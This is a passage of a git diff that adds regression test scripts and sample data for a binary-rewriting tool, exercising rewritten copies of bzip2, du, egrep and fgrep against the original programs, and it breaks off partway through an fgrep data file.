index 0000000000000000000000000000000000000000..a0671d70c72eb26563f42925012c1f0674d2986f
Binary files /dev/null and b/peasoup_examples/stock_examples64/less.stock differ
diff --git a/peasoup_examples/stock_examples64/ls.win.exe b/peasoup_examples/stock_examples64/ls.win.exe
new file mode 100755
index 0000000000000000000000000000000000000000..38236692ce41c921310ca974beb9ef9e28fb0a1a
Binary files /dev/null and b/peasoup_examples/stock_examples64/ls.win.exe differ
diff --git a/peasoup_examples/stock_examples64/synaptic.stock b/peasoup_examples/stock_examples64/synaptic.stock
new file mode 100755
index 0000000000000000000000000000000000000000..8a0c61ffa9821d817e27b0852e6f5e602b03281d
Binary files /dev/null and b/peasoup_examples/stock_examples64/synaptic.stock differ
diff --git a/peasoup_examples/stock_examples64/vita.pdf b/peasoup_examples/stock_examples64/vita.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..df3598843f38426991e5327d47a744b6e57cdf48
Binary files /dev/null and b/peasoup_examples/stock_examples64/vita.pdf differ
diff --git a/peasoup_examples/stock_examples64/xcalc.stock b/peasoup_examples/stock_examples64/xcalc.stock
new file mode 100755
index 0000000000000000000000000000000000000000..1aa67df7dd666e742d3a528c5a2e9e125be2544f
Binary files /dev/null and b/peasoup_examples/stock_examples64/xcalc.stock differ
diff --git a/peasoup_examples/stock_examples64/xedit.stock b/peasoup_examples/stock_examples64/xedit.stock
new file mode 100755
index 0000000000000000000000000000000000000000..c395094ff1f8d08e9813675dba32ad70319d4ce7
Binary files /dev/null and b/peasoup_examples/stock_examples64/xedit.stock differ
diff --git a/peasoup_examples/stock_examples64/xeyes.stock b/peasoup_examples/stock_examples64/xeyes.stock
new file mode 100755
index 0000000000000000000000000000000000000000..42a42227663687caf09b03e1c3a32b01ab23ab99
Binary files /dev/null and b/peasoup_examples/stock_examples64/xeyes.stock differ
diff --git a/peasoup_examples/tests/Makefile b/peasoup_examples/tests/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..8b0e8cc7455742ed8a2b36c7a87fb89ce237e99b
--- /dev/null
+++ b/peasoup_examples/tests/Makefile
@@ -0,0 +1,9 @@
+all:
+	./test_cmds.sh
+
+clean:
+	rm -fr tmp_test_area*
+
+superclean: clean
+	if [ ! "X" = "X"${PGUSER} ]; then sh ../tools/db/drop_my_tables.sh; sh ../tools/db/pdb_setup.sh; fi
+
diff --git a/peasoup_examples/tests/bin_search/bin_search.du.sh b/peasoup_examples/tests/bin_search/bin_search.du.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d1a9e2805782bfd7629f8fd651bacd8d9226c204
--- /dev/null
+++ b/peasoup_examples/tests/bin_search/bin_search.du.sh
@@ -0,0 +1,101 @@
+#!/bin/bash 
+
+start=0
+end=10000
+orig=$(realpath `which du`) 
+
+protect()
+{
+	stop_at=$1
+	out=$2
+
+	echo "Trying first $stop_at xforms."
+	set -x
+
+	ZAFL_LIMIT_END=$stop_at zafl.sh $orig $out -o zafl:-v --tempdir results/peasoup.bin_search.$stop_at  > $out.ps_output 2>&1
+
+	set +x
+
+}
+
+get_test_result()
+{
+	curdir=$PWD
+	exe=$(realpath $1)
+	touch $2
+	exe_output=$(realpath $2)
+
+	$exe -bh /home/an7s/zafl_umbrella/zipr_umbrella/peasoup_examples/tests/du/data >$exe_output 2>&1
+	echo $? >> $exe_output
+}
+
+
+####################################################################################################
+# should need no changes after here
+####################################################################################################
+
+bin_search()
+{
+	my_start=$1
+	my_end=$2 
+	my_orig=$3
+	my_out_pattern=$4
+	my_exe_pattern=$5
+	my_correct_results=$6
+
+	while [[ $my_start -lt $(($my_end - 1)) ]] 
+	do
+		mid=$(( ($my_start + $my_end) / 2 ))
+		echo "start=$my_start end=$my_end mid=$mid"
+		protect $mid $exe_pattern.$mid
+		get_test_result $exe_pattern.$mid $out_pattern.$mid 
+		cmp $my_correct_results $my_out_pattern.$mid > /dev/null 2>&1 
+		if [ $? != 0 ];  then
+			# diff observed 
+			echo "Detected that $mid generates differences";
+			my_end=$(($mid)) 
+		else
+			echo "Detected that $mid generates the same output";
+			my_start=$(($mid))
+		fi
+
+	done
+	echo "Binary Search Complete. correct=$my_start broken=$my_end"
+
+}
+
+main()
+{
+	out_pattern=results/bin_search.out
+	exe_pattern=results/$(basename $orig).xform
+	correct_results=correct.txt
+
+
+	get_test_result $orig $correct_results
+	protect $start $exe_pattern.$start
+	get_test_result $exe_pattern.$start $out_pattern.$start 
+	cmp correct.txt $out_pattern.$start > /dev/null 2>&1 
+	if [ $? != 0 ];  then
+		echo "starting point also fails test."
+		exit 1
+	fi
+
+	protect $end $exe_pattern.$end
+	get_test_result $exe_pattern.$end $out_pattern.$end 
+	cmp correct.txt $out_pattern.$end > /dev/null 2>&1 
+	if [ $? == 0 ];  then
+		echo "Ending point doesn't fail test!"
+		exit 1
+	fi
+
+	bin_search $start $end $orig $out_pattern $exe_pattern $correct_results
+
+	exit 0
+	
+}
+
+main
+
+
+
+
diff --git a/peasoup_examples/tests/bunzip2 b/peasoup_examples/tests/bunzip2
new file mode 120000
index 0000000000000000000000000000000000000000..101e5563895e24e8aa6197819e45d2ca37dc5341
--- /dev/null
+++ b/peasoup_examples/tests/bunzip2
@@ -0,0 +1 @@
+bzip2/
\ No newline at end of file
diff --git a/peasoup_examples/tests/bzip2/data/compression_input1 b/peasoup_examples/tests/bzip2/data/compression_input1
new file mode 100644
index 0000000000000000000000000000000000000000..ab65e60884a93cb45905e8c4745f05e108f0bfd6
Binary files /dev/null and b/peasoup_examples/tests/bzip2/data/compression_input1 differ
diff --git a/peasoup_examples/tests/bzip2/data/decompression_input1 b/peasoup_examples/tests/bzip2/data/decompression_input1
new file mode 100644
index 0000000000000000000000000000000000000000..c4a9efb063072468aa6f70ed8afe7f07273c9f77
Binary files /dev/null and b/peasoup_examples/tests/bzip2/data/decompression_input1 differ
diff --git a/peasoup_examples/tests/bzip2/test_script.sh b/peasoup_examples/tests/bzip2/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a45cbde637f8f83fa9c2f25979d06cca9b866965
--- /dev/null
+++ b/peasoup_examples/tests/bzip2/test_script.sh
@@ -0,0 +1,73 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#for bzip, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/bzip2
+DATA_DIR=$TEST_DIR/data
+
+#for bzip, I create some additional files I will need to have cleaned up when it is appropriate to do so. Cleanup is handled automatically by the test lib when success or failure is reported, when run_basic_test is called or if cleanup is called manually. 
+CLEANUP_FILES="$DATA_DIR/compression_input1_test.bz2 $DATA_DIR/compression_input1_orig.bz2 $DATA_DIR/compression_input1_orig $DATA_DIR/compression_input1_test"
+
+#used for filtering program names from output.
+#since we might use this script for all bzip variants, list them all
+#but separate by an escaped | for the regex used by manual_test_lib
+ORIG_NAME="bzip\|bunzip\|bzip2\|bunzip2"
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+#Test 1, I give a bogus input of ^ to bzip
+run_basic_test 20  ^
+#Test 2, help test
+run_basic_test 20 --help
+#Test 3, version test
+run_basic_test 20 --version
+#Test 4, basic decompression test (to stdout)
+run_basic_test 120 -dc $DATA_DIR/decompression_input1
+#Test 5, basic compression test (to stdout)
+run_basic_test 120 -zc $DATA_DIR/compression_input1
+#Test 6, decompression with -s option
+run_basic_test 120 -dcs $DATA_DIR/decompression_input1
+#Test 7, compression with -s option
+run_basic_test 120 -zcs $DATA_DIR/compression_input1
+#Test 8, testing -5 option with compression
+run_basic_test 120 -zc -5 $DATA_DIR/compression_input1
+#Test 9, testing -t option
+run_basic_test 120 -t  $DATA_DIR/decompression_input1
+
+#The following test does not use run_basic_test, instead, I want to
+#test the ability of bzip to write a file, not stdout. To do this, I call run_test_prog_only and run_bench_prog_only. These two functions take the same inputs as run_basic_test, but no comparisons are done for either call. These functions just run the test and bench programs respectively. I then call compare_std_results, which looks for the stdout, stderr, and exit status for both bench and test runs, and does a comparison much like run_basic_test. Following this, I then do a comparison manually of the expected output files. Note that I check if the -i flag had been specified before doing the comparison. Also note that I call cleanup following the test. 
+
+#run_bench_prog_only will not do anything if the -i flag is set, neither will compare_std_results, so no check is needed in this program for -i. 
+
+#set up the input to compress for the modified program
+cp $DATA_DIR/compression_input1 $DATA_DIR/compression_input1_test
+#-k keeps the original input, 
+run_test_prog_only 120 -k $DATA_DIR/compression_input1_test
+#set up the input to compress for comparison
+cp $DATA_DIR/compression_input1 $DATA_DIR/compression_input1_orig
+run_bench_prog_only 120 -k $DATA_DIR/compression_input1_orig
+#It is possible we are not running bzip, i.e., we didn't determine the program
+#correctly, in which case the expected output file wont exist, so first make
+#sure it does exist before doing any comparisons. I check the bench's output
+#file because it is possible for the test to fail to produce an output for
+#different reasons. 
+if [[ -z "$IGNORE_RESULTS" ]] ; then
+	if [[ -f $DATA_DIR/compression_input1_orig.bz2 ]]; then
+		compare_std_results
+		
+		diff $DATA_DIR/compression_input1_test.bz2 $DATA_DIR/compression_input1_orig.bz2
+		status=$?
+		if [ ! "$status" -eq 0 ]; then
+			echo "Exit Status Failure"
+			report_failure
+		fi 
+	else
+		report_failure
+	fi
+fi
+cleanup
+report_success
diff --git a/peasoup_examples/tests/du/data/dir1/dir2/readme b/peasoup_examples/tests/du/data/dir1/dir2/readme
new file mode 100644
index 0000000000000000000000000000000000000000..8178c76d627cade75005b40711b92f4177bc6cfc
--- /dev/null
+++ b/peasoup_examples/tests/du/data/dir1/dir2/readme
@@ -0,0 +1 @@
+readme
diff --git a/peasoup_examples/tests/du/data/dir1/hello2 b/peasoup_examples/tests/du/data/dir1/hello2
new file mode 100644
index 0000000000000000000000000000000000000000..14be0d41c639d701e0fe23e835b5fe9524b4459d
--- /dev/null
+++ b/peasoup_examples/tests/du/data/dir1/hello2
@@ -0,0 +1 @@
+hello2
diff --git a/peasoup_examples/tests/du/data/dir1/yo2.xls b/peasoup_examples/tests/du/data/dir1/yo2.xls
new file mode 100644
index 0000000000000000000000000000000000000000..55a3a19164a73fb7b11117bebdc9ccdb203bd988
--- /dev/null
+++ b/peasoup_examples/tests/du/data/dir1/yo2.xls
@@ -0,0 +1 @@
+23,34,45
diff --git a/peasoup_examples/tests/du/data/hello1 b/peasoup_examples/tests/du/data/hello1
new file mode 100644
index 0000000000000000000000000000000000000000..15b8f2a8ffc8a7789b65fdcf2505f23ea9e4dde0
--- /dev/null
+++ b/peasoup_examples/tests/du/data/hello1
@@ -0,0 +1 @@
+hello1
diff --git a/peasoup_examples/tests/du/data/test.tar b/peasoup_examples/tests/du/data/test.tar
new file mode 100644
index 0000000000000000000000000000000000000000..adf61fcdebfc9c4ae606533f9a505c75b91bc02c
Binary files /dev/null and b/peasoup_examples/tests/du/data/test.tar differ
diff --git a/peasoup_examples/tests/du/data/yo.txt b/peasoup_examples/tests/du/data/yo.txt
new file mode 100644
index 0000000000000000000000000000000000000000..f2d0f0d5c45102b9d2947c0edf358eb1487a1469
--- /dev/null
+++ b/peasoup_examples/tests/du/data/yo.txt
@@ -0,0 +1 @@
+yo yo yo
diff --git a/peasoup_examples/tests/du/test_script.sh b/peasoup_examples/tests/du/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..0b3009610e2c2260876a8dfd5e7d6ef28a404a8f
--- /dev/null
+++ b/peasoup_examples/tests/du/test_script.sh
@@ -0,0 +1,62 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/du
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=du
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+timeout 10 $BENCH /usr | grep bin
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 $DATA_DIR
+run_basic_test 120 -0 $DATA_DIR
+run_basic_test 120 --null $DATA_DIR
+run_basic_test 120 -a $DATA_DIR
+run_basic_test 120 --all $DATA_DIR
+run_basic_test 120 --all --apparent-size $DATA_DIR
+run_basic_test 120 -a -BM $DATA_DIR
+run_basic_test 120 -b $DATA_DIR
+run_basic_test 120 -c $DATA_DIR
+run_basic_test 120 --summarize $DATA_DIR
+run_basic_test 120 -bh $DATA_DIR
+run_basic_test 120 --all -h $DATA_DIR
+run_basic_test 120 -L $DATA_DIR
+run_basic_test 120 -l $DATA_DIR
+run_basic_test 120 -m $DATA_DIR
+run_basic_test 120 -P $DATA_DIR
+run_basic_test 120 -S $DATA_DIR
+run_basic_test 120 --si $DATA_DIR
+run_basic_test 120 -s $DATA_DIR
+run_basic_test 120 -t $DATA_DIR
+run_basic_test 120 --time $DATA_DIR
+run_basic_test 120 --time-style=full-iso $DATA_DIR
+run_basic_test 120 --time-style=long-iso $DATA_DIR
+run_basic_test 120 --time-style=iso $DATA_DIR
+run_basic_test 120 --exclude-from=$DATA_DIR/yo.txt $DATA_DIR
+run_basic_test 120 --exclude=foobar $DATA_DIR
+run_basic_test 120 --exclude="*.txt" $DATA_DIR
+run_basic_test 120 -x $DATA_DIR
+
+
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/egrep/data/data1.txt b/peasoup_examples/tests/egrep/data/data1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..7857b4a8f31ac0951f68bcf38517ee00787bce61
--- /dev/null
+++ b/peasoup_examples/tests/egrep/data/data1.txt
@@ -0,0 +1,17 @@
+<html>
+<body>
+Hello
+The quick brown fox jumps over the lazy dog
+My name is Bond, James Bond
+</body>
+</html>
+.999
+128.27.42.23
+22324143
+341324 3124
+13241234148888
+cool
+col
+cccccccccccc
+91-1234567890
+hello [] 
diff --git a/peasoup_examples/tests/egrep/data/data2.txt b/peasoup_examples/tests/egrep/data/data2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..9f5b49ab1edd1ebbb99f4df8a4bac32e3b913c1b
--- /dev/null
+++ b/peasoup_examples/tests/egrep/data/data2.txt
@@ -0,0 +1,3 @@
+We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness.
+
+That to secure these rights, Governments are instituted among Men, deriving their just powers from the consent of the governed, That whenever any Form of Government becomes destructive of these ends, it is the Right of the People to alter or to abolish it, and to institute new Government, laying its foundation on such principles and organizing its powers in such form, as to them shall seem most likely to effect their Safety and Happiness. Prudence, indeed, will dictate that Governments long established should not be changed for light and transient causes; and accordingly all experience hath shewn, that mankind are more disposed to suffer, while evils are sufferable, than to right themselves by abolishing the forms to which they are accustomed. But when a long train of abuses and usurpations, pursuing invariably the same Object evinces a design to reduce them under absolute Despotism, it is their right, it is their duty, to throw off such Government, and to provide new Guards for their future security.
diff --git a/peasoup_examples/tests/egrep/data/khadafy.lines b/peasoup_examples/tests/egrep/data/khadafy.lines
new file mode 100644
index 0000000000000000000000000000000000000000..57e21a17948d79b9bbf3bf3d7d840454a2131d54
--- /dev/null
+++ b/peasoup_examples/tests/egrep/data/khadafy.lines
@@ -0,0 +1,32 @@
+1)  Muammar Qaddafi
+2)  Mo'ammar Gadhafi
+3)  Muammar Kaddafi
+4)  Muammar Qadhafi
+5)  Moammar El Kadhafi
+6)  Muammar Gadafi
+7)  Mu'ammar al-Qadafi
+8)  Moamer El Kazzafi
+9)  Moamar al-Gaddafi
+10) Mu'ammar Al Qathafi
+11) Muammar Al Qathafi
+12) Mo'ammar el-Gadhafi
+13) Moamar El Kadhafi
+14) Muammar al-Qadhafi
+15) Mu'ammar al-Qadhdhafi
+16) Mu'ammar Qadafi
+17) Moamar Gaddafi
+18) Mu'ammar Qadhdhafi
+19) Muammar Khaddafi
+20) Muammar al-Khaddafi
+21) Mu'amar al-Kadafi
+22) Muammar Ghaddafy
+23) Muammar Ghadafi
+24) Muammar Ghaddafi
+25) Muamar Kaddafi
+26) Muammar Quathafi
+27) Muammar Gheddafi
+28) Muamar Al-Kaddafi
+29) Moammar Khadafy
+30) Moammar Qudhafi
+31) Mu'ammar al-Qaddafi
+32) Mulazim Awwal Mu'ammar Muhammad Abu Minyar al-Qadhafi
diff --git a/peasoup_examples/tests/egrep/data/khadafy.regexp b/peasoup_examples/tests/egrep/data/khadafy.regexp
new file mode 100644
index 0000000000000000000000000000000000000000..1d200fc5aedd74d9800d64e5a5869a8203d0e30c
--- /dev/null
+++ b/peasoup_examples/tests/egrep/data/khadafy.regexp
@@ -0,0 +1,2 @@
+M[ou]'?am+[ae]r .*([AEae]l[- ])?[GKQ]h?[aeu]+([dtz][dhz]?)+af[iy]
+
diff --git a/peasoup_examples/tests/egrep/data/pattern b/peasoup_examples/tests/egrep/data/pattern
new file mode 100644
index 0000000000000000000000000000000000000000..281cbcc4f7263cccf39a84ef5c5cf1139d487dcc
--- /dev/null
+++ b/peasoup_examples/tests/egrep/data/pattern
@@ -0,0 +1 @@
+.*the.*$
diff --git a/peasoup_examples/tests/egrep/data/pattern2 b/peasoup_examples/tests/egrep/data/pattern2
new file mode 100644
index 0000000000000000000000000000000000000000..7002fa44e2b8641e52658565b7e871d05faa3ff6
--- /dev/null
+++ b/peasoup_examples/tests/egrep/data/pattern2
@@ -0,0 +1,3 @@
+.*the.*$
+^(t|T)he.*[Qq]
+(d|D).*(g|G)$
diff --git a/peasoup_examples/tests/egrep/test_script.sh b/peasoup_examples/tests/egrep/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f310d63bd88ed4c1e811d621e8b9b3f52ed43ff7
--- /dev/null
+++ b/peasoup_examples/tests/egrep/test_script.sh
@@ -0,0 +1,191 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/grep
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=grep
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+# test basic grep functionality
+TMP_LOG=/tmp/tmp.hello.$(whoami)
+timeout 10 ls / | $BENCH tmp >/dev/null 2>&1
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+echo "hello" > $TMP_LOG
+$BENCH hello $TMP_LOG
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+$BENCH foobar $TMP_LOG
+if [ $? -eq 0 ]; then
+	report_failure
+fi
+rm $TMP_LOG
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 -i -U -B 1 -A 2 brown $DATA_DIR/data1.txt
+run_basic_test 120 -b fox $DATA_DIR/data1.txt
+run_basic_test 120 --mmap -i fox $DATA_DIR/data1.txt
+run_basic_test 120 --text -vn Fox $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -iw the $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -RTo --line-buffered the $DATA_DIR
+run_basic_test 120 -il pursuit $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 --line-buffered -iL pursuit $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -hR "over.*" $DATA_DIR
+run_basic_test 120 -i "over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -i -q ".*over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -i -s ".*over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 --binary -i -w "over" $DATA_DIR/data1.txt 
+run_basic_test 120 -i --line-number ".*dog.*$" $DATA_DIR/data1.txt 
+run_basic_test 120 -i "^the.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -E "^[a-z,0-9,F-Z]+" $DATA_DIR/data1.txt 
+run_basic_test 120 -w "^[a-zA-Z,0-9].*\[\].*" $DATA_DIR/data1.txt 
+run_basic_test 120 "\\body" $DATA_DIR/data1.txt 
+run_basic_test 120 -U -w -i -c --context=3 "lazy dog" $DATA_DIR/data1.txt 
+run_basic_test 120 -f $DATA_DIR/pattern $DATA_DIR/data1.txt 
+run_basic_test 120 -f $DATA_DIR/pattern $DATA_DIR/data2.txt 
+run_basic_test 120 -i -n -f $DATA_DIR/pattern2 $DATA_DIR/data1.txt 
+run_basic_test 120 -i -n -f $DATA_DIR/pattern2 $DATA_DIR/data2.txt 
+run_basic_test 120 -s --color -ivn "^the.*" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:alnum:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:alpha:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:digit:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:lower:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:space:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:upper:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "\<b...n\>" $DATA_DIR/data1.txt 
+run_basic_test 120 "^\.[0-9]" $DATA_DIR/data1.txt 
+run_basic_test 120 -E '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E '2{2}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'h{1}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'co{1,2}l' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'c{3,}' $DATA_DIR/data1.txt 
+run_basic_test 120 -v "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" $DATA_DIR/data1.txt 
+run_basic_test 120 "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" $DATA_DIR/data1.txt 
+run_basic_test 120 --include="dat*" "^\.[0-9]" -R $DATA_DIR
+run_basic_test 120 --include="dat*" --exclude="data2.txt" "^\.[0-9]" -R $DATA_DIR
+run_basic_test 120 -z the $DATA_DIR/data1.txt
+
+cat $DATA_DIR/data1.txt | run_test_prog_only 120  -i FOX
+cat $DATA_DIR/data1.txt | run_bench_prog_only 120  -i FOX
+compare_std_results
+
+#cat $DATA_DIR/data1.txt | run_test_prog_only 120  "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" 
+#cat $DATA_DIR/data1.txt | run_bench_prog_only 120  "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" 
+#compare_std_results
+
+cat $DATA_DIR/data1.txt | run_test_prog_only 120 -i "^the"
+cat $DATA_DIR/data1.txt | run_bench_prog_only 120 -i "^the"
+compare_std_results
+
+run_basic_test 120 -m10 -E -f $DATA_DIR/khadafy.regexp $DATA_DIR/khadafy.lines
+
+printf 'foo\nbar\n' | run_test_prog_only 120 -z -q 'foo[[:space:]]\+bar'
+printf 'foo\nbar\n' | run_bench_prog_only 120 -z -q 'foo[[:space:]]\+bar'
+compare_std_results
+
+#
+# From regression tests shipped with grep
+#
+# checking for a palindrome
+echo "radar" | run_test_prog_only 120 -e '\(.\)\(.\).\2\1' 
+echo "radar" | run_bench_prog_only 120 -e '\(.\)\(.\).\2\1'
+compare_std_results
+
+
+# backref are local should be error
+echo "123" | run_test_prog_only 120 -e 'a\(.\)' -e 'b\1'
+echo "123" | run_bench_prog_only 120 -e 'a\(.\)' -e 'b\1'
+compare_std_results
+
+# Pattern should fail
+echo "123" | run_test_prog_only 120 -e '[' -e ']'
+echo "123" | run_bench_prog_only 120 -e '[' -e ']' 
+compare_std_results
+
+# checking for -E extended regex
+echo "abababccccccd" | run_test_prog_only 120 -E -e 'c{3}'
+echo "abababccccccd" | run_bench_prog_only 120 -E -e 'c{3}'
+compare_std_results
+
+# checking for basic regex
+echo "abababccccccd" | run_test_prog_only 120 -G -e 'c\{3\}'
+echo "abababccccccd" | run_bench_prog_only 120 -G -e 'c\{3\}'
+compare_std_results
+
+# checking for fixed string
+echo "abababccccccd" | run_test_prog_only 120 -F -e 'c\{3\}'
+echo "abababccccccd" | run_bench_prog_only 120 -F -e 'c\{3\}'
+compare_std_results
+
+echo | run_test_prog_only 120 -P '\s*$'
+echo | run_bench_prog_only 120 -P '\s*$'
+compare_std_results
+
+# should return 1 found no match
+echo "abcd" | run_test_prog_only 120 -E -e 'zbc'
+echo "abcd" | run_bench_prog_only 120 -E -e 'zbc'
+compare_std_results
+
+
+# the filename MMMMMMMM.MMM should not exist hopefully
+if test -r MMMMMMMM.MMM; then
+    echo "Please remove MMMMMMMM.MMM to run check"
+else
+        # should return 2 file not found
+#	run_basic_test 120 -E -e 'abc' MMMMMMMM.MMM 
+ 
+        # should return 2 file not found
+#    run_basic_test 120 -E -s -e 'abc' MMMMMMMM.MMM
+ 
+#	echo "ppp"
+        # should return 2 file not found
+#    echo "abcd" | run_test_prog_only 120 -E -s 'abc' - MMMMMMMM.MMM 
+#    echo "abcd" | run_bench_prog_only 120 -E -s 'abc' - MMMMMMMM.MMM 
+#    compare_std_results
+
+        # should return 0 found a match
+    echo "abcd" | run_test_prog_only 120 -E -q -s 'abc' MMMMMMMM.MMM 
+	echo "abcd" | run_bench_prog_only 120 -E -q -s 'abc' MMMMMMMM.MMM 
+	compare_std_results
+
+     # should still return 0 found a match
+#    echo "abcd" | run_test_prog_only 120 -E -q 'abc' MMMMMMMM.MMM -
+#	echo "abcd" | run_bench_prog_only 120 -E -q 'abc' MMMMMMMM.MMM -
+#	compare_std_results
+
+fi
+
+run_basic_test 120 -E '(T|t)he.*(q|x)uick.*' $DATA_DIR/data1.txt 
+
+
+# hit hard with the `Bond' tests
+# For now, remove the `?' in the last parentheses, so that new glibc can do it.  --Stepan
+echo "civic" | run_test_prog_only 120 -E -e '^(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.).?\9\8\7\6\5\4\3\2\1$'
+echo "civic" | run_bench_prog_only 120 -E -e '^(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.).?\9\8\7\6\5\4\3\2\1$'
+compare_std_results
+
+#
+# BUG -- these don't work
+#
+
+#run_basic_test 120 -E '[a-z]*' $DATA_DIR/data1.txt 
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/fgrep/data/data1.txt b/peasoup_examples/tests/fgrep/data/data1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..7857b4a8f31ac0951f68bcf38517ee00787bce61
--- /dev/null
+++ b/peasoup_examples/tests/fgrep/data/data1.txt
@@ -0,0 +1,17 @@
+<html>
+<body>
+Hello
+The quick brown fox jumps over the lazy dog
+My name is Bond, James Bond
+</body>
+</html>
+.999
+128.27.42.23
+22324143
+341324 3124
+13241234148888
+cool
+col
+cccccccccccc
+91-1234567890
+hello [] 
diff --git a/peasoup_examples/tests/fgrep/data/data2.txt b/peasoup_examples/tests/fgrep/data/data2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..9f5b49ab1edd1ebbb99f4df8a4bac32e3b913c1b
--- /dev/null
+++ b/peasoup_examples/tests/fgrep/data/data2.txt
@@ -0,0 +1,3 @@
+We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness.
+
+That to secure these rights, Governments are instituted among Men, deriving their just powers from the consent of the governed, That whenever any Form of Government becomes destructive of these ends, it is the Right of the People to alter or to abolish it, and to institute new Government, laying its foundation on such principles and organizing its powers in such form, as to them shall seem most likely to effect their Safety and Happiness. Prudence, indeed, will dictate that Governments long established should not be changed for light and transient causes; and accordingly all experience hath shewn, that mankind are more disposed to suffer, while evils are sufferable, than to right themselves by abolishing the forms to which they are accustomed. But when a long train of abuses and usurpations, pursuing invariably the same Object evinces a design to reduce them under absolute Despotism, it is their right, it is their duty, to throw off such Government, and to provide new Guards for their future security.
diff --git a/peasoup_examples/tests/fgrep/data/khadafy.lines b/peasoup_examples/tests/fgrep/data/khadafy.lines
new file mode 100644
index 0000000000000000000000000000000000000000..57e21a17948d79b9bbf3bf3d7d840454a2131d54
--- /dev/null
+++ b/peasoup_examples/tests/fgrep/data/khadafy.lines
@@ -0,0 +1,32 @@
+1)  Muammar Qaddafi
+2)  Mo'ammar Gadhafi
+3)  Muammar Kaddafi
+4)  Muammar Qadhafi
+5)  Moammar El Kadhafi
+6)  Muammar Gadafi
+7)  Mu'ammar al-Qadafi
+8)  Moamer El Kazzafi
+9)  Moamar al-Gaddafi
+10) Mu'ammar Al Qathafi
+11) Muammar Al Qathafi
+12) Mo'ammar el-Gadhafi
+13) Moamar El Kadhafi
+14) Muammar al-Qadhafi
+15) Mu'ammar al-Qadhdhafi
+16) Mu'ammar Qadafi
+17) Moamar Gaddafi
+18) Mu'ammar Qadhdhafi
+19) Muammar Khaddafi
+20) Muammar al-Khaddafi
+21) Mu'amar al-Kadafi
+22) Muammar Ghaddafy
+23) Muammar Ghadafi
